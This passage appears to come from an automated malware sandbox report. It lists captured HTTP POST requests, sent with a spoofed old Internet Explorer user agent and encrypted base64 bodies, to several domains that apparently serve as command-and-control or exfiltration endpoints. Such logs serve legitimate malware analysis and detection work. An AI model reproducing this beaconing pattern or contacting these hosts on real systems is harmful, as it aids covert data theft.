4JcAL4Tx5xLq/xpVn89UMlcLGs682N/8+J6rdoKp4I3LEFT+zxI1NUgiq1qEv+gdl5Rya40OFMQWtsnSCw4gdhSUY/lhG5wRML7u07oDarLdGfs+ynC3M8UY8IKbxrxC5x0lZqStEbmprSRExDHbqqbx9Ryb6HbN6c5Hjx5xTaZJU29PG++5739x/Q9J8MBB9KImTXdzbeSiAP3fCHzZmTRzeIQPtxqudFUKx7Nf3mbOM9yqiJID5hm5/Sxwwgnc0P0Mx91082S118Qosl+wRaijzRri99tVUw5VCJNCQIqpouN7+stGrsPh1DSI3XbeMy3Y+ncse0RcxPC5Y0d4WRL2j39jJfNVzcPqqv6/FOPx6G2OSwhdxgGSyCd6tgYLLtdQUvm2vmURAPQ/t97YgrNqapasiAP6BJJ7/gayPAjAyDDLL1kKfxeUX3opaMFxH9PQ2YcgVzpPF7IrdB8HCGeY6Nuu2e8FPlkJ+Tzap8uCwIdgK6LShDpliyxSzJOXa4RR+06DtLv8J18o5gvY
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.2print.comCache-Control: no-cacheData Raw: 47 31 49 71 75 46 41 47 2f 52 4b 57 6d 47 6e 4b 34 79 57 63 6f 51 4d 57 48 6c 42 34 71 79 41 2b 68 4c 4c 4d 69 44 4e 39 30 30 69 7a 2f 79 6f 46 7a 47 55 46 30 58 41 32 42 55 45 38 43 77 43 67 53 44 57 78 66 4e 6a 76 4a 4c 7a 78 6a 44 43 31 39 77 74 7a 63 77 47 62 4c 33 39 6c 61 73 42 4a 78 51 49 47 55 2f 2b 64 69 4e 6c 47 53 43 64 35 4e 4d 52 36 47 32 4c 79 32 45 48 71 52 38 7a 4e 77 6e 39 68 31 39 59 73 58 43 4c 6e 2b 59 49 6a 61 55 73 47 43 67 34 77 39 69 70 78 5a 2f 65 43 37 6a 52 65 32 43 77 70 70 4d 4f 6f 75 6c 69 2f 6e 45 4e 62 31 49 50 63 45 5a 48 2b 68 6b 53 67 4f 4f 78 79 32 30 32 56 61 76 71 59 72 2b 78 75 4c 61 59 51 70 47 63 66 63 70 78 47 68 2b 47 79 76 62 75 30 64 43 76 77 4d 33 48 58 43 77 39 70 4c 2b 55 5a 47 54 6b 32 43 73 39 78 52 42 75 39 37 33 7a 4a 32 4a 43 39 4c 32 42 5a 4e 4d 69 46 7a 65 6c 56 5a 65 39 65 34 31 31 4d 5a 46 46 56 61 75 69 68 62 73 67 48 78 75 4a 43 68 37 5a 54 44 41 69 55 74 44 35 75 67 4b 4c 32 33 47 73 59 49 31 6a 43 46 58 69 58 61 41 56 68 39 46 2b 2b 43 56 75 44 31 5a 64 59 6b 76 62 6d 78 34 72 41 77 56 6b 6d 32 77 52 54 6d 56 69 4b 72 76 53 44 51 57 79 70 4e 42 55 31 55 71 6d 34 74 5a 6c 73 6b 6f 4e 78 69 6e 30 6a 75 59 45 71 49 42 57 50 72 46 44 64 74 61 6a 75 46 78 6e 52 65 48 6b 72 59 44 6d 32 50 43 53 4a 4e 7a 65 4e 33 72 36 52 68 49 4a 61 55 4c 43 74 4a 69 77 43 31 5a 33 6b 67 69 74 79 49 75 4b 4b 4d 36 30 38 61 65 37 35 55 6c 32 47 59 35 30 72 4a 2f 47 32 64 6f 65 2f 45 4f 46 4c 49 33 70 5a 49 46 53 50 45 79 52 31 75 6d 73 58 56 66 4a 61 79 36 31 54 73 59 52 38 44 6b 67 71 31 53 77 71 4d 2f 74 48 79 58 38 36 35 43 58 61 37 6d 50 6a 76 72 49 5a 6f 35 68 50 78 5a 5a 4d 47 33 39 6f 56 46 53 4e 30 76 6d 67 2b 47 71 47 31 37 58 47 6e 53 48 52 31 47 34 77 64 6d 35 57 54 4f 59 3d Data Ascii: G1IquFAG/RKWmGnK4yWcoQMWHlB4qyA+hLLMiDN900iz/yoFzGUF0XA2BUE8CwCgSDWxfNjvJLzxjDC19wtzcwGbL39lasBJxQIGU/+diNlGSCd5NMR6G2Ly2EHqR8zNwn9h19YsXCLn+YIjaUsGCg4w9ipxZ/eC7jRe2CwppMOouli/nENb1IPcEZH+hkSgOOxy202VavqYr+xuLaYQpGcfcpxGh+Gyvbu0dCvwM3HXCw9pL+UZGTk2Cs9xRBu973zJ2JC9L2BZNMiFzelVZe9e411MZFFVauihbsgHxuJCh7ZTDAiUtD5ugKL23GsYI1jCFXiXaAVh9F++CVuD1ZdYkvbmx4rAwVkm2wRTmViKrvSDQWypNBU1Uqm4tZlskoNxin0juYEqIBWPrFDdtajuFxnReHkrYDm2PCSJNzeN3r6RhIJaULCtJiwC1Z3kgityIuKKM608ae75Ul2GY50rJ/G2doe/EOFLI3pZIFSPEyR1umsXVfJay61TsYR8Dkgq1SwqM/tHyX865CXa7mPjvrIZo5hPxZZMG39oVFSN0vmg+GqG17XGnSHR1G4wdm5WTOY=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cokocoko.comCache-Control: no-cacheData Raw: 79 30 54 64 52 68 74 4a 45 68 50 38 62 65 72 72 4d 6d 73 67 6f 51 51 69 6b 4e 75 68 2b 66 2f 76 66 37 77 50 65 63 38 46 56 55 2f 69 6e 39 4a 2f 68 49 76 41 64 6a 56 57 56 4f 4d 55 69 4f 6b 53 50 44 36 68 43 36 4c 6e 38 7a 31 75 7a 6f 62 7a 46 69 49 64 78 5a 55 2b 73 39 4b 6c 64 75 64 68 39 64 4e 76 57 64 57 50 47 39 6e 4f 77 44 33 2b 62 79 71 6a 2f 5a 75 4a 38 4a 57 44 47 54 66 6d 58 77 55 4d 73 42 56 57 6e 6a 79 2f 73 59 4f 36 34 69 68 6d 51 79 37 32 32 2b 2b 38 4a 62 68 77 4d 61 63 5a 36 30 4d 4c 53 36 59 7a 33 75 42 4f 6e 68 63 6c 69 61 61 46 6d 54 4a 50 33 69 4a 4b 53 51 70 58 35 41 69 33 75 2f 4c 6a 41 37 34 43 61 2f 62 58 6b 2f 68 77 6a 4e 55 7a 2b 4e 39 66 6a 4b 67 34 39 56 67 2b 68 4f 68 31 38 70 4c 4b 74 7a 47 4b 31 6d 2b 6b 54 6b 58 31 64 44 4d 59 68 2f 66 56 4e 47 63 4e 63 61 47 52 71 44 57 5a 4f 4b 6b 55 36 6e 64 6b 68 4b 35 47 4d 50 4d 39 76 6e 4a 76 38 4c 72 51 78 74 52 58 42 39 43 49 37 41 54 65 74 56 38 49 49 7a 6c 75 44 68 64 76 58 61 74 69 48 4a 43 6b 42 4d 4d 36 4c 30 4d 75 45 38 46 30 7a 4c 6e 56 62 4a 48 71 54 45 37 45 39 67 55 2b 4e 79 55 49 34 36 66 35 6f 73 4f 64 73 54 64 35 78 39 50 37 56 6d 37 43 78 67 73 43 62 30 76 67 79 4a 47 53 33 72 38 56 46 62 4c 78 6f 64 6f 45 4c 7a 52 31 64 30 64 46 4d 4e 33 4c 58 44 47 66 36 55 79 6f 52 76 6e 35 39 4e 66 74 68 44 63 58 69 54 49 76 57 6e 33 5a 65 55 6e 4d 39 37 69 66 63 70 34 52 76 43 58 4d 54 4d 70 44 59 45 72 68 58 4c 2b 38 64 52 30 42 2f 45 4d 48 6f 54 73 4f 50 69 32 51 4d 2f 4f 78 56 4e 50 50 6a 44 48 42 32 59 33 52 62 42 58 46 52 35 6e 67 79 48 37 39 39 70 33 4d 2f 4f 66 35 66 55 48 46 48 65 35 7a 32 6c 38 55 31 74 47 30 6a 6d 5a 4e 46 4f 33 79 30 48 54 42 6c 34 6f 3d Data Ascii: y0TdRhtJEhP8berrMmsgoQQikNuh+f/vf7wPec8FVU/in9J/hIvAdjVWVOMUiOkSPD6hC6Ln8z1uzobzFiIdxZU+s9Kldudh9dNvWdWPG9nOwD3+byqj/ZuJ8JWDGTfmXwUMsBVWnjy/sYO64ihmQy722++8JbhwMacZ60MLS6Yz3uBOnhcliaaFmTJP3iJKSQpX5Ai3u/LjA74Ca/bXk/hwjNUz+N9fjKg49Vg+hOh18pLKtzGK1m+kTkX1dDMYh/fVNGcNcaGRqDWZOKkU6ndkhK5GMPM9vnJv8LrQxtRXB9CI7ATetV8IIzluDhdvXatiHJCkBMM6L0MuE8F0zLnVbJHqTE7E9gU+NyUI46f5osOdsTd5x9P7Vm7CxgsCb0vgyJGS3r8VFbLxodoELzR1d0dFMN3LXDGf6UyoRvn59NfthDcXiTIvWn3ZeUnM97ifcp4RvCXMTMpDYErhXL+8dR0B/EMHoTsOPi2QM/OxVNPPjDHB2Y3RbBXFR5ngyH799p3M/Of5fUHFHe5z2l8U1tG0jmZNFO3y0HTBl4o=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.holleman.usCache-Control: no-cacheData Raw: 45 6e 37 37 61 55 6d 39 47 78 4f 70 54 34 30 6d 6d 4b 5a 6a 76 6d 4a 59 6e 74 4e 6e 6c 43 66 6e 6a 63 7a 39 6a 66 52 63 74 4e 34 74 47 45 38 30 4d 68 34 5a 6a 58 31 45 73 4f 46 6f 41 4a 78 30 6f 5a 46 62 45 35 5a 73 55 6a 6c 64 4c 41 79 74 67 42 46 53 4c 70 31 78 33 48 30 54 78 54 31 66 63 6e 4f 4b 59 65 42 4d 46 34 78 38 79 79 59 77 4f 77 76 57 6a 35 71 76 56 49 51 68 6b 78 47 44 41 38 79 5a 6f 4b 2b 41 6c 57 51 73 77 58 63 34 78 5a 54 51 37 47 53 4b 50 75 39 43 71 74 31 34 57 31 59 67 6d 67 46 44 35 31 47 74 34 4b 68 64 43 59 33 4b 30 2b 50 54 69 54 42 4e 45 7a 59 62 49 33 48 70 56 79 53 6e 76 39 6a 38 31 50 74 49 65 63 64 6a 48 5a 73 2f 73 31 38 4c 4a 56 42 6f 32 46 6f 6e 41 57 6f 4e 70 66 4c 42 59 33 67 49 6e 36 42 78 76 57 4e 6a 4a 6c 44 77 52 32 71 65 76 43 51 72 79 46 54 56 33 41 39 53 78 34 41 4e 58 32 68 53 2b 4c 41 54 54 73 54 6b 42 32 43 41 49 4a 70 4c 44 32 72 36 6f 76 38 4d 72 46 47 67 69 72 71 68 68 50 49 49 32 61 64 58 53 32 59 4b 48 4c 63 32 6e 30 67 2f 66 74 33 51 32 73 79 2b 42 35 43 53 63 33 37 49 56 59 74 77 71 4d 58 37 39 6b 58 37 65 37 2b 56 34 44 30 46 2b 78 45 34 79 53 74 64 43 58 7a 32 6e 4e 4d 41 50 72 47 6d 6f 7a 37 37 46 6d 31 4c 74 76 33 2f 64 6a 77 58 51 52 5a 5a 39 72 37 33 46 41 78 41 44 77 64 75 46 44 63 7a 57 57 54 69 4e 59 30 73 61 77 50 44 43 68 61 45 5a 79 70 70 65 76 47 63 4e 56 55 71 4d 4f 74 76 39 41 6d 41 57 39 75 2b 4b 7a 52 50 2f 70 77 32 2b 68 6e 32 64 7a 65 6b 69 68 30 58 37 4a 48 6f 2b 68 73 5a 2b 77 44 69 46 67 4f 6a 31 6c 70 2b 63 76 68 66 68 55 43 4b 41 44 78 74 52 49 6a 61 42 46 35 77 62 55 2b 74 50 2f 41 38 2b 70 6a 6b 6f 31 73 62 61 75 4f 51 53 34 6c 51 5a 66 41 56 47 4d 43 7a 4f 47 34 53 63 76 38 78 30 55 51 42 2f 4c 49 66 4b 2b 43 51 7a 72 45 52 6d 51 4d 56 41 69 73 3d Data Ascii: En77aUm9GxOpT40mmKZjvmJYntNnlCfnjcz9jfRctN4tGE80Mh4ZjX1EsOFoAJx0oZFbE5ZsUjldLAytgBFSLp1x3H0TxT1fcnOKYeBMF4x8yyYwOwvWj5qvVIQhkxGDA8yZoK+AlWQswXc4xZTQ7GSKPu9Cqt14W1YgmgFD51Gt4KhdCY3K0+PTiTBNEzYbI3HpVySnv9j81PtIecdjHZs/s18LJVBo2FonAWoNpfLBY3gIn6BxvWNjJlDwR2qevCQryFTV3A9Sx4ANX2hS+LATTsTkB2CAIJpLD2r6ov8MrFGgirqhhPII2adXS2YKHLc2n0g/ft3Q2sy+B5CSc37IVYtwqMX79kX7e7+V4D0F+xE4yStdCXz2nNMAPrGmoz77Fm1Ltv3/djwXQRZZ9r73FAxADwduFDczWWTiNY0sawPDChaEZyppevGcNVUqMOtv9AmAW9u+KzRP/pw2+hn2dzekih0X7JHo+hsZ+wDiFgOj1lp+cvhfhUCKADxtRIjaBF5wbU+tP/A8+pjko1sbauOQS4lQZfAVGMCzOG4Scv8x0UQB/LIfK+CQzrERmQMVAis=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 528User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jacomfg.comCache-Control: no-cacheData Raw: 58 37 4c 65 67 4a 56 37 48 42 4e 43 66 4a 57 6d 66 4a 65 72 6e 34 35 49 48 34 32 6a 33 72 45 6d 6d 57 45 4c 32 4a 47 45 30 71 61 2f 74 56 35 65 5a 70 78 4a 2b 71 41 47 78 6d 73 66 4b 57 43 42 6b 4b 30 55 45 45 62 7a 4c 62 51 53 59 6d 54 35 63 66 53 2b 70 49 72 71 4f 41 41 50 46 30 70 75 74 41 36 59 75 57 67 4f 63 6c 65 63 77 74 5a 32 34 72 78 79 67 46 50 7a 43 58 4a 49 4d 38 6a 41 45 5a 4f 6c 55 35 4d 73 57 76 6d 33 4e 49 52 77 56 30 69 31 2b 34 7a 49 34 61 33 31 51 31 6e 4f 46 58 4b 6b 6a 73 71 6a 61 6b 62 46 43 55 4e 45 36 56 6b 75 75 6f 6b 6b 6b 65 55 65 59 54 6c 75 62 63 2b 51 58 77 53 6a 50 38 74 37 53 37 61 43 37 49 76 53 30 46 68 39 39 6d 6a 46 62 74 6b 73 65 47 4d 6f 65 52 66 75 39 6a 54 61 2f 50 48 48 4b 7a 6e 2f 56 74 34 47 72 30 56 75 4c 56 64 4d 39 52 67 79 6a 34 52 33 42 33 78 76 4c 67 37 51 46 65 53 71 55 61 50 7a 39 4f 70 6c 66 30 37 45 32 6d 36 4e 44 44 78 54 31 30 4b 6d 30 66 36 31 53 73 31 50 47 2f 36 47 32 65 43 4d 36 2b 45 46 37 54 7a 57 47 70 4b 58 50 6a 6a 7a 57 34 31 57 4b 47 7a 5a 51 36 77 70 6e 66 69 41 38 63 55 6f 67 72 4c 37 38 6b 49 34 30 38 66 52 30 6e 77 66 53 5a 6b 6d 44 44 36 75 4e 42 73 55 31 45 67 43 65 6d 6d 49 2f 4f 39 4e 37 76 46 51 48 2b 31 6c 59 79 49 68 32 35 58 65 30 7a 6c 37 54 4a 68 53 56 71 7a 41 49 68 2b 44 51 47 4b 46 6d 6a 6b 42 5a 5a 6c 39 35 33 55 79 66 42 51 2f 72 44 42 61 76 5a 64 67 35 44 7a 68 6d 74 6c 4b 41 48 50 44 68 4b 66 37 56 70 4c 6a 6f 45 74 6e 32 62 4d 46 63 75 79 4b 51 48 7a 72 46 65 50 52 30 38 4f 64 39 73 77 72 58 63 58 5a 79 5a 39 56 78 4a 39 57 51 67 52 41 6e 4c 41 34 64 51 65 6e 6f 4d 77 73 Data Ascii: X7LegJV7HBNCfJWmfJern45IH42j3rEmmWEL2JGE0qa/tV5eZpxJ+qAGxmsfKWCBkK0UEEbzLbQSYmT5cfS+pIrqOAAPF0putA6YuWgOclecwtZ24rxygFPzCXJIM8jAEZOlU5MsWvm3NIRwV0i1+4zI4a31Q1nOFXKkjsqjakbFCUNE6VkuuokkkeUeYTlubc+QXwSjP8t7S7aC7IvS0Fh99mjFbtkseGMoeRfu9jTa/PHHKzn/Vt4Gr0VuLVdM9Rgyj4R3B3xvLg7QFeSqUaPz9Oplf07E2m6NDDxT10Km0f61Ss1PG/6G2eCM6+EF7TzWGpKXPjjzW41WKGzZQ6wpnfiA8cUogrL78kI408fR0nwfSZkmDD6uNBsU1EgCemmI/O9N7vFQH+1lYyIh25Xe0zl7TJhSVqzAIh+DQGKFmjkBZZl953UyfBQ/rDBavZdg5DzhmtlKAHPDhKf7VpLjoEtn2bMFcuyKQHzrFePR08Od9swrXcXZyZ9VxJ9WQgRAnLA4dQenoMws
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wifi4all.nlCache-Control: no-cacheData Raw: 6e 39 65 63 55 33 52 41 74 78 4b 74 68 51 61 6c 7a 33 47 2f 66 73 64 6e 30 77 4a 73 61 67 36 4d 36 43 54 42 4b 73 59 42 56 31 2f 72 2f 71 38 50 6b 6c 4a 57 64 57 2f 36 6f 31 36 43 50 4c 52 66 67 6c 49 4a 63 57 63 36 37 75 73 4b 38 4c 49 51 50 67 6d 65 54 6a 34 78 5a 76 6a 57 79 44 69 2f 64 4a 54 51 2b 7a 61 63 31 30 4a 30 57 67 48 54 72 78 46 71 54 64 65 49 42 70 6d 4e 61 70 4e 49 4e 6a 6b 53 33 34 73 6c 68 51 7a 32 57 75 6f 78 6e 4c 6a 57 4f 56 48 69 74 68 56 4b 37 42 70 7a 38 59 34 52 75 72 39 6f 76 44 44 43 6d 4f 32 2b 66 49 4c 7a 71 58 4f 70 55 6e 66 61 4f 72 65 70 44 33 5a 74 69 32 6e 4f 79 6e 6d 59 4c 6e 58 50 37 73 52 54 4d 2f 6a 54 70 78 78 50 4c 52 42 52 73 2f 71 33 33 58 50 79 56 46 31 35 71 32 4e 35 33 42 64 64 78 6f 6f 34 63 6a 63 35 55 6c 51 63 53 35 31 73 47 2f 6e 41 42 4b 37 73 37 6e 6a 49 46 62 33 73 4f 59 35 51 30 48 45 36 5a 39 30 32 59 70 69 59 79 68 34 37 2b 41 46 54 6e 2f 32 54 49 63 49 74 43 31 2f 59 64 38 78 64 59 6f 52 65 2f 49 62 61 39 4a 75 6e 4e 55 75 6c 58 5a 34 2f 55 37 36 30 43 6f 48 4c 2b 46 4d 70 72 77 52 48 63 45 34 4c 35 47 37 72 2f 4c 6c 48 79 4d 66 31 59 78 4e 6f 74 53 2f 43 41 61 78 74 65 68 42 6e 73 53 34 78 7a 68 4c 51 38 41 57 6f 6f 4c 4a 79 39 4f 51 6c 50 79 52 50 2f 34 2f 73 74 34 4b 6e 69 65 78 52 31 64 44 33 66 32 63 6c 53 69 53 2f 52 7a 30 37 66 69 59 68 6a 73 51 4d 73 66 32 76 76 79 58 58 46 2b 75 76 6a 36 43 63 37 48 79 31 4e 61 2f 52 59 6b 45 65 6b 78 74 49 41 52 41 6f 68 34 7a 65 34 57 6e 78 4c 6e 65 79 37 55 39 69 75 4f 38 4a 36 61 57 78 45 73 35 57 5a 4a 39 43 67 67 71 36 52 66 6c 31 53 44 70 49 71 35 57 69 72 4c 4c 53 73 4b 41 4a 4b 43 34 76 79 41 32 32 2b 64 73 69 49 38 48 75 6e 61 44 7a 31 75 51 71 31 6d 58 33 50 69 34 67 6f 65 73 44 5a 78 72 2b 59 49 47 79 48 64 31 78 6f 66 5a 68 76 34 4d 3d Data Ascii: n9ecU3RAtxKthQalz3G/fsdn0wJsag6M6CTBKsYBV1/r/q8PklJWdW/6o16CPLRfglIJcWc67usK8LIQPgmeTj4xZvjWyDi/dJTQ+zac10J0WgHTrxFqTdeIBpmNapNINjkS34slhQz2WuoxnLjWOVHithVK7Bpz8Y4Rur9ovDDCmO2+fILzqXOpUnfaOrepD3Zti2nOynmYLnXP7sRTM/jTpxxPLRBRs/q33XPyVF15q2N53Bddxoo4cjc5UlQcS51sG/nABK7s7njIFb3sOY5Q0HE6Z902YpiYyh47+AFTn/2TIcItC1/Yd8xdYoRe/Iba9JunNUulXZ4/U760CoHL+FMprwRHcE4L5G7r/LlHyMf1YxNotS/CAaxtehBnsS4xzhLQ8AWooLJy9OQlPyRP/4/st4KniexR1dD3f2clSiS/Rz07fiYhjsQMsf2vvyXXF+uvj6Cc7Hy1Na/RYkEekxtIARAoh4ze4WnxLney7U9iuO8J6aWxEs5WZJ9Cggq6Rfl1SDpIq5WirLLSsKAJKC4vyA22+dsiI8HunaDz1uQq1mX3Pi4goesDZxr+YIGyHd1xofZhv4M=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.reglera.comCache-Control: no-cacheData Raw: 4a 71 47 31 33 33 6f 77 4d 42 4d 33 47 36 4a 65 48 51 55 63 4a 62 30 44 50 4e 54 71 6d 59 63 58 54 6e 71 73 4f 45 41 44 39 79 54 59 55 4c 74 63 62 54 4e 57 41 75 78 73 4e 58 6d 39 74 67 57 47 79 6c 6f 59 53 4f 6d 39 4b 55 63 2f 6e 6c 78 51 63 53 47 69 4a 75 67 6e 47 57 6a 46 72 77 61 59 4f 48 75 73 71 66 72 41 4d 51 38 2b 63 6e 62 48 67 6f 6a 52 49 47 45 61 72 43 78 58 68 45 56 79 75 6f 5a 52 6a 44 32 64 50 30 69 6e 4d 58 4b 62 6d 6c 37 43 45 56 2b 77 47 39 62 66 35 6e 6e 4b 6d 4f 4c 2f 44 49 51 65 62 6d 6c 71 6e 77 50 49 38 58 61 4c 6c 48 31 57 5a 54 57 38 71 4f 33 43 4e 37 68 34 6d 70 74 38 4a 75 42 77 50 65 75 37 78 42 6e 55 4e 4b 45 71 75 5a 2f 6c 41 76 33 33 34 78 75 63 44 44 4c 59 4b 64 6a 4d 54 6d 2b 33 6f 6f 7a 49 32 57 74 74 56 6e 44 30 52 57 31 53 6e 44 66 47 6d 76 55 30 30 50 78 4b 35 50 41 4f 75 44 64 33 64 43 6d 30 57 61 34 78 30 64 6a 5a 50 35 78 73 52 61 54 33 70 64 6b 61 35 68 6e 35 64 2f 66 68 64 63 76 2b 66 61 33 2f 52 2b 72 57 50 6c 44 6f 75 6d 61 46 43 48 53 4d 63 42 55 35 6a 47 31 30 6e 37 61 34 39 41 7a 39 43 4a 54 57 2b 51 4b 78 53 54 77 51 68 7a 70 56 51 55 53 49 67 67 76 6a 76 64 6c 72 4e 2f 66 43 4d 49 34 74 77 4c 76 61 2b 71 70 74 6f 61 68 2f 2f 6b 42 70 47 6b 73 41 67 4a 37 63 73 4b 58 44 39 44 6b 4f 61 6b 30 71 43 6b 47 36 57 63 55 37 44 2f 50 49 36 75 62 42 44 66 66 61 6a 41 7a 69 67 5a 34 68 6d 6b 2b 66 61 73 45 70 70 73 53 74 2f 53 47 45 64 47 45 30 64 73 73 2f 63 4e 72 75 47 30 62 5a 38 5a 30 6c 31 54 42 39 39 53 4a 41 2b 4c 33 31 71 5a 68 62 4f 37 4d 64 4c 31 30 32 69 43 54 69 43 6c 4c 2f 68 56 4f 59 51 45 2f 64 43 61 5a 2f 76 52 63 4e 49 44 59 65 72 34 50 54 4d 6a 2f 2b 79 36 77 44 79 50 56 4f 31 46 63 7a 73 50 59 30 74 67 3d 3d Data Ascii: JqG133owMBM3G6JeHQUcJb0DPNTqmYcXTnqsOEAD9yTYULtcbTNWAuxsNXm9tgWGyloYSOm9KUc/nlxQcSGiJugnGWjFrwaYOHusqfrAMQ8+cnbHgojRIGEarCxXhEVyuoZRjD2dP0inMXKbml7CEV+wG9bf5nnKmOL/DIQebmlqnwPI8XaLlH1WZTW8qO3CN7h4mpt8JuBwPeu7xBnUNKEquZ/lAv334xucDDLYKdjMTm+3oozI2WttVnD0RW1SnDfGmvU00PxK5PAOuDd3dCm0Wa4x0djZP5xsRaT3pdka5hn5d/fhdcv+fa3/R+rWPlDoumaFCHSMcBU5jG10n7a49Az9CJTW+QKxSTwQhzpVQUSIggvjvdlrN/fCMI4twLva+qptoah//kBpGksAgJ7csKXD9DkOak0qCkG6WcU7D/PI6ubBDffajAzigZ4hmk+fasEppsSt/SGEdGE0dss/cNruG0bZ8Z0l1TB99SJA+L31qZhbO7MdL102iCTiClL/hVOYQE/dCaZ/vRcNIDYer4PTMj/+y6wDyPVO1FczsPY0tg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.2print.comCache-Control: no-cacheData Raw: 2f 65 77 6d 77 47 63 4b 57 31 30 78 34 58 4d 59 46 6f 52 43 52 44 41 4a 72 79 66 64 59 70 45 57 69 34 79 63 4f 36 2f 59 72 65 4c 36 52 61 59 56 38 4b 4c 54 79 6c 41 44 32 45 48 50 78 62 32 58 45 76 59 49 35 59 71 6c 32 56 55 4b 69 61 48 74 4e 31 31 75 52 55 78 75 47 54 30 57 74 2b 49 68 39 59 46 35 5a 36 79 48 65 6e 61 57 67 77 4f 4c 6f 4c 73 75 41 6f 71 75 2b 7a 65 64 35 44 33 4a 30 45 78 6d 46 42 75 33 76 43 35 35 38 79 4a 4f 59 6a 79 37 35 42 4c 66 4a 45 74 56 5a 48 4c 33 4e 61 78 52 31 30 6b 74 32 73 6c 7a 59 45 61 72 39 43 64 32 73 49 63 39 79 70 32 48 64 2b 51 41 5a 42 66 72 44 32 44 77 52 64 51 71 4e 37 6e 74 58 53 74 6f 36 51 4c 46 57 4c 37 55 51 78 64 71 47 38 35 36 67 31 39 75 47 48 79 51 68 6f 4c 68 45 6c 2b 4c 36 6a 43 6f 69 36 4e 61 79 2f 4d 4e 79 36 58 31 77 63 4f 79 68 76 76 6f 7a 36 76 54 64 6d 6b 71 6e 4a 41 51 67 59 52 2f 4a 35 5a 42 67 6b 77 48 66 65 5a 55 50 2f 63 36 55 71 51 37 57 30 41 2b 62 62 7a 4c 62 42 44 63 77 62 67 6e 7a 34 35 45 50 58 6f 46 6f 33 79 32 46 67 4b 4d 72 36 37 6f 58 32 45 5a 66 44 44 69 67 55 59 39 2b 77 65 38 30 39 6a 77 71 4e 6c 58 37 42 39 77 49 37 54 32 6c 45 4c 6e 56 56 6b 73 6e 76 72 5a 6d 63 4c 6d 6e 37 78 34 56 66 71 56 38 58 63 2f 62 79 75 47 45 74 4e 6f 6f 33 75 64 4e 52 49 67 4c 31 30 2b 31 69 76 4d 52 54 4d 6a 62 73 57 2f 72 77 6b 43 41 38 43 38 52 7a 68 56 53 54 72 71 7a 57 45 45 4f 64 68 49 6f 54 78 64 69 58 2f 42 2b 30 30 4f 45 49 64 61 49 30 7a 6a 54 46 4e 70 73 34 66 2b 73 4d 65 63 52 67 4c 76 43 72 37 65 57 62 4c 48 30 79 42 50 41 51 41 54 61 73 52 38 33 36 54 4c 61 6a 71 56 4e 6e 54 53 69 67 42 37 49 69 70 4c 68 74 51 66 38 6d 63 62 51 4a 72 65 78 36 58 6c 73 63 55 71 37 4b 45 2b 61 4b 61 74 43 6c 41 6a 4c 38 59 50 76 55 6f 55 30 77 3d 3d Data Ascii: /ewmwGcKW10x4XMYFoRCRDAJryfdYpEWi4ycO6/YreL6RaYV8KLTylAD2EHPxb2XEvYI5Yql2VUKiaHtN11uRUxuGT0Wt+Ih9YF5Z6yHenaWgwOLoLsuAoqu+zed5D3J0ExmFBu3vC558yJOYjy75BLfJEtVZHL3NaxR10kt2slzYEar9Cd2sIc9yp2Hd+QAZBfrD2DwRdQqN7ntXSto6QLFWL7UQxdqG856g19uGHyQhoLhEl+L6jCoi6Nay/MNy6X1wcOyhvvoz6vTdmkqnJAQgYR/J5ZBgkwHfeZUP/c6UqQ7W0A+bbzLbBDcwbgnz45EPXoFo3y2FgKMr67oX2EZfDDigUY9+we809jwqNlX7B9wI7T2lELnVVksnvrZmcLmn7x4VfqV8Xc/byuGEtNoo3udNRIgL10+1ivMRTMjbsW/rwkCA8C8RzhVSTrqzWEEOdhIoTxdiX/B+00OEIdaI0zjTFNps4f+sMecRgLvCr7eWbLH0yBPAQATasR836TLajqVNnTSigB7IipLhtQf8mcbQJrex6XlscUq7KE+aKatClAjL8YPvUoU0w==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fcwcvt.orgCache-Control: no-cacheData Raw: 65 4e 65 76 39 65 33 58 53 52 4d 73 70 7a 36 56 35 46 68 63 75 61 62 69 67 42 50 62 6a 63 75 44 63 64 2b 6f 6e 64 46 2f 69 4a 43 52 4f 73 2b 7a 6c 70 59 6a 52 63 78 46 52 44 78 53 55 61 78 39 4c 33 56 75 57 47 43 50 55 6d 33 37 44 5a 66 30 47 6c 64 48 6b 56 4c 79 79 74 75 43 47 62 78 61 70 33 50 63 63 6d 42 33 36 48 46 30 47 75 76 43 48 2f 70 50 71 4e 52 44 76 38 6b 48 75 2b 50 71 50 4a 66 66 4e 4e 46 48 62 56 7a 78 4e 6b 62 35 5a 32 75 4e 64 58 79 77 75 54 39 6c 79 2b 71 46 47 35 52 4d 55 53 62 31 37 30 6c 6e 76 6b 32 69 74 5a 4f 46 54 6f 75 42 48 31 61 48 41 33 75 69 79 76 4c 54 43 33 30 78 63 44 65 6e 41 70 59 78 4e 67 30 74 53 57 6f 32 6f 6a 55 66 68 46 4d 76 74 57 50 37 78 43 43 45 45 41 47 54 59 45 74 6d 47 75 42 2b 63 32 6e 32 62 67 63 61 43 7a 2f 77 54 30 77 4e 31 39 71 58 38 